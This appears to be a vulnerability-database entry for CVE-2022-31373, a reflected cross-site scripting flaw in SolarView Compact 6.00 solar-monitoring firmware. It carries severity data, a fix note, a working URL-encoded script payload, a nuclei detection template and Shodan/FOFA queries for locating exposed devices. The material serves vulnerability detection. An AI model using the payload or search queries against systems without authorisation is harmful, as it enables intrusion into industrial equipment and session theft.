HexBrain

Browse / CVEs / CVE-2022-31373

CVE-2022-31373· contec / sv-cpt-mc310 firmware· CWE-79

SolarView Compact 6.00 - Cross-Site Scripting

mediumseverity
6.1CVSS score
5.6%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it

SolarView Compact 6.00 contains a cross-site scripting vulnerability via Solar_AiConf.php. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/Solar_AiConf.php/%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "/Solar_AiConf.php/\"><script>alert(document.domain)</script>" and "HREF=\"Solar_Service.php\"" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-31373 -u <target>

The full check
id: CVE-2022-31373

info:
  name: SolarView Compact 6.00 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    SolarView Compact 6.00 contains a cross-site scripting vulnerability via Solar_AiConf.php. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/badboycxcc/SolarView_Compact_6.0_xss
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31373
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/badboycxcc/badboycxcc
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-31373
    cwe-id: CWE-79
    epss-score: 0.05559
    epss-percentile: 0.92921
    cpe: cpe:2.3:o:contec:sv-cpt-mc310_firmware:6.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: contec
    product: sv-cpt-mc310_firmware
    shodan-query:
      - http.html:"SolarView Compact"
      - http.html:"solarview compact"
    fofa-query: body="solarview compact"
  tags: cve2022,cve,xss,solarview,contec,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/Solar_AiConf.php/%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '/Solar_AiConf.php/"><script>alert(document.domain)</script>'
          - 'HREF="Solar_Service.php"'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from